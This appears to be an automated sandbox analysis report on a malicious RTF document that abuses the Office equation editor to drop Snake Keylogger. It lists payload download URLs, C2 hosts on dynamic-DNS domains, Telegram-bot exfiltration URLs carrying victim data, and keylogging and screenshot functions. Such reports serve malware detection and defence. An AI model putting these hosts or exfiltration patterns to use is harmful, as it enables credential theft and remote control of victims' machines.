Source: cmnjgyugo61000.exe, 00000008.00000002.908330033.000000000089B000.00000004.00000020.00020000.00000000.sdmp

String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)

Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Wed, 30 Oct 2024 07:14:45 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Source: cmnjgyugo61000.exe, 00000005.00000002.414699470.00000000039A7000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908152550.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded
Source: EQNEDT32.EXE, EQNEDT32.EXE, 00000002.00000002.401749638.00000000005ED000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000002.401749638.000000000058F000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.401554173.00000000005ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://87.120.84.38/txt/CLLPdgxhnmwGf5Y.exe
Source: EQNEDT32.EXE, 00000002.00000002.401749638.000000000058F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://87.120.84.38/txt/CLLPdgxhnmwGf5Y.exe8/
Source: EQNEDT32.EXE, 00000002.00000002.401749638.00000000005ED000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.401554173.00000000005ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://87.120.84.38/txt/CLLPdgxhnmwGf5Y.exeC:
Source: EQNEDT32.EXE, 00000002.00000003.401554173.00000000005B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://87.120.84.38/txt/CLLPdgxhnmwGf5Y.exeT
Source: EQNEDT32.EXE, 00000002.00000002.401749638.000000000058F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://87.120.84.38/txt/CLLPdgxhnmwGf5Y.exej
Source: EQNEDT32.EXE, 00000002.00000002.401749638.000000000058F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://87.120.84.38/txt/CLLPdgxhnmwGf5Y.exettC:
Source: cmnjgyugo61000.exe, 00000005.00000002.414699470.00000000039A7000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908152550.0000000000402000.00000040.00000400.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002301000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://aborters.duckdns.org:8081
Source: cmnjgyugo61000.exe, 00000005.00000002.414699470.00000000039A7000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908152550.0000000000402000.00000040.00000400.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002301000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anotherarmy.dns.army:8081
Source: cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000024B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002460000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002453000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.000000000249C000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002443000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000023A2000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.000000000248A000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002436000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000024AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.com
Source: cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002396000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002460000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002453000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000023E5000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.000000000249C000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.000000000246E000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002443000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000023A2000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.000000000248A000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002436000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000024AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002301000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908330033.000000000087F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: cmnjgyugo61000.exe, 00000005.00000002.414699470.00000000039A7000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908152550.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/q
Source: cmnjgyugo61000.exe, 00000008.00000002.909451493.0000000005960000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: cmnjgyugo61000.exe, 00000008.00000002.908330033.000000000089B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: cmnjgyugo61000.exe, 00000008.00000002.908330033.000000000089B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: cmnjgyugo61000.exe, 00000008.00000002.908330033.000000000089B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: cmnjgyugo61000.exe, 00000008.00000002.909451493.0000000005960000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: cmnjgyugo61000.exe, 00000008.00000002.908330033.000000000089B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: cmnjgyugo61000.exe, 00000008.00000002.908330033.000000000089B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: cmnjgyugo61000.exe, 00000008.00000002.908330033.000000000089B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: cmnjgyugo61000.exe, 00000008.00000002.908330033.000000000089B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0%
Source: cmnjgyugo61000.exe, 00000008.00000002.908330033.000000000089B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0-
Source: cmnjgyugo61000.exe, 00000008.00000002.908330033.000000000089B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0/
Source: cmnjgyugo61000.exe, 00000008.00000002.908330033.000000000089B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com05
Source: cmnjgyugo61000.exe, 00000008.00000002.908330033.000000000089B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net03
Source: cmnjgyugo61000.exe, 00000008.00000002.908330033.000000000089B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net0D
Source: cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002460000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002453000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.000000000249C000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.000000000248A000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002436000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000024AA000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000023BB000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.000000000244A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://reallyfreegeoip.org
Source: cmnjgyugo61000.exe, 00000005.00000002.414566324.00000000023E8000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002301000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: cmnjgyugo61000.exe, 00000005.00000002.414699470.00000000039A7000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908152550.0000000000402000.00000040.00000400.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002301000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://varders.kozow.com:8081
Source: cmnjgyugo61000.exe, 00000008.00000002.908330033.000000000089B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: cmnjgyugo61000.exe, 00000008.00000002.908330033.000000000089B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000025D5000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002594000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.909020505.000000000337B000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002581000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.909020505.00000000033C7000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000025C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000024B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: cmnjgyugo61000.exe, 00000005.00000002.414699470.00000000039A7000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908152550.0000000000402000.00000040.00000400.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000024B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000024B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=
Source: cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000024B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:971342%0D%0ADate%20a
Source: cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000025D5000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002594000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.909020505.000000000337B000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002581000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.909020505.00000000033C7000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000025C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000025D5000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002594000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.909020505.000000000337B000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002581000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.909020505.00000000033C7000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000025C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000025D5000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002594000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.909020505.000000000337B000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002581000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.909020505.00000000033C7000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000025C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000025D5000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002594000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.909020505.000000000337B000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002581000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.909020505.00000000033C7000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000025C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002460000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002453000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000023E5000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.000000000249C000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000023A2000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.000000000248A000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002436000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000024AA000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.000000000244A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: cmnjgyugo61000.exe, 00000005.00000002.414699470.00000000039A7000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908152550.0000000000402000.00000040.00000400.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000023A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: cmnjgyugo61000.exe, 00000008.00000002.908507517.000000000244A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/173.254.250.78
Source: cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002460000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002453000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000023E5000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.000000000249C000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.000000000248A000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002436000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000024AA000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.000000000244A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/173.254.250.784
Source: cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000025D5000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002594000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.909020505.000000000337B000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002581000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.909020505.00000000033C7000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000025C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
Source: cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000025D5000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002594000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.909020505.000000000337B000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002581000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.909020505.00000000033C7000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000025C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: cmnjgyugo61000.exe, 00000008.00000002.908330033.000000000089B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://secure.comodo.com/CPS0
Source: cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000025C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/favicon.ico
Source: cmnjgyugo61000.exe, 00000008.00000002.909020505.00000000034D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?q=net
Source: cmnjgyugo61000.exe, 00000008.00000002.909020505.00000000034D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?q=test&oq=test&aqs=chrome..69i57j46j0l3j46j0.427j0j7&sourceid=chrome&i
Source: cmnjgyugo61000.exe, 00000008.00000002.909020505.00000000034D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?q=wmf
Source: cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000025D5000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.909020505.000000000341D000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.909020505.0000000003452000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.909020505.00000000034D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/sorry/index
Source: cmnjgyugo61000.exe, 00000008.00000002.909020505.00000000034BC000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.909020505.00000000034D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/sorry/index?continue=https://www.google.com/search%3Fq%3Dtest%26oq%3Dtest%26a
Source: cmnjgyugo61000.exe, 00000008.00000002.909020505.00000000034BC000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.909020505.00000000034D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/sorry/index?continue=https://www.google.com/search%3Fq%3Dwmf%2B5.1%26oq%3Dwmf
Source: cmnjgyugo61000.exe, 00000008.00000002.909020505.0000000003462000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.909020505.000000000342A000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.909020505.0000000003516000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.909020505.0000000003408000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.909020505.00000000034DE000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.909020505.00000000034BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/sorry/indextest

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49168
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49167
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49178
Source: unknown	Network traffic detected: HTTP traffic on port 49180 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49183 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49176
Source: unknown	Network traffic detected: HTTP traffic on port 49182 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49174
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49172
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49183
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49182
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49170
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49180
Source: unknown	Network traffic detected: HTTP traffic on port 49172 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49168 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49170 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49167 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49176 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49174 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49178 -> 443

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.22:49183 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to capture screen (.Net source)

Source: 5.2.cmnjgyugo61000.exe.3cdcb20.5.raw.unpack, COVID19.cs

.Net Code: TakeScreenshot

Contains functionality to log keystrokes (.Net Source)

Source: 5.2.cmnjgyugo61000.exe.3cdcb20.5.raw.unpack, COVID19.cs

.Net Code: VKCodeToUnicode

System Summary

Initial sample is an obfuscated RTF file

Source: initial sample

Static file information: Filename: na.doc

Malicious sample detected (through community Yara rule)

Source: na.doc, type: SAMPLE	Matched rule: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. Author: ditekSHen
Source: 8.2.cmnjgyugo61000.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 8.2.cmnjgyugo61000.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 8.2.cmnjgyugo61000.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 5.2.cmnjgyugo61000.exe.3cdcb20.5.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 5.2.cmnjgyugo61000.exe.3cdcb20.5.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 5.2.cmnjgyugo61000.exe.3cdcb20.5.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 5.2.cmnjgyugo61000.exe.3cdcb20.5.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 5.2.cmnjgyugo61000.exe.3cdcb20.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 5.2.cmnjgyugo61000.exe.3cdcb20.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 5.2.cmnjgyugo61000.exe.3bd2ae0.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 5.2.cmnjgyugo61000.exe.3bd2ae0.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 5.2.cmnjgyugo61000.exe.3c57b00.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 5.2.cmnjgyugo61000.exe.3c57b00.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 00000008.00000002.908152550.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000005.00000002.414699470.00000000039A7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: cmnjgyugo61000.exe PID: 3472, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: cmnjgyugo61000.exe PID: 3576, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown

Office equation editor drops PE file

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe			Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\CLLPdgxhnmwGf5Y[1].exe			Jump to dropped file

Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe

Process Stats: CPU usage > 49%

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Memory allocated: 770B0000 page execute and read and write	Jump to behavior

Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe

Code function: 5_2_001B4924 NtQueryInformationProcess,

5_2_001B4924

Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 5_2_001BA298	5_2_001BA298
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 5_2_001BD6E0	5_2_001BD6E0
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 5_2_001B497B	5_2_001B497B
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 5_2_001B5CA9	5_2_001B5CA9
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 5_2_001BDE28	5_2_001BDE28
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 5_2_001B81F0	5_2_001B81F0
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 5_2_001BA28A	5_2_001BA28A
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 5_2_001BA4F7	5_2_001BA4F7
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 5_2_001BA508	5_2_001BA508
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 5_2_001B78F8	5_2_001B78F8
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 5_2_001B49D9	5_2_001B49D9
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 5_2_001B7D30	5_2_001B7D30
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 5_2_005F4310	5_2_005F4310
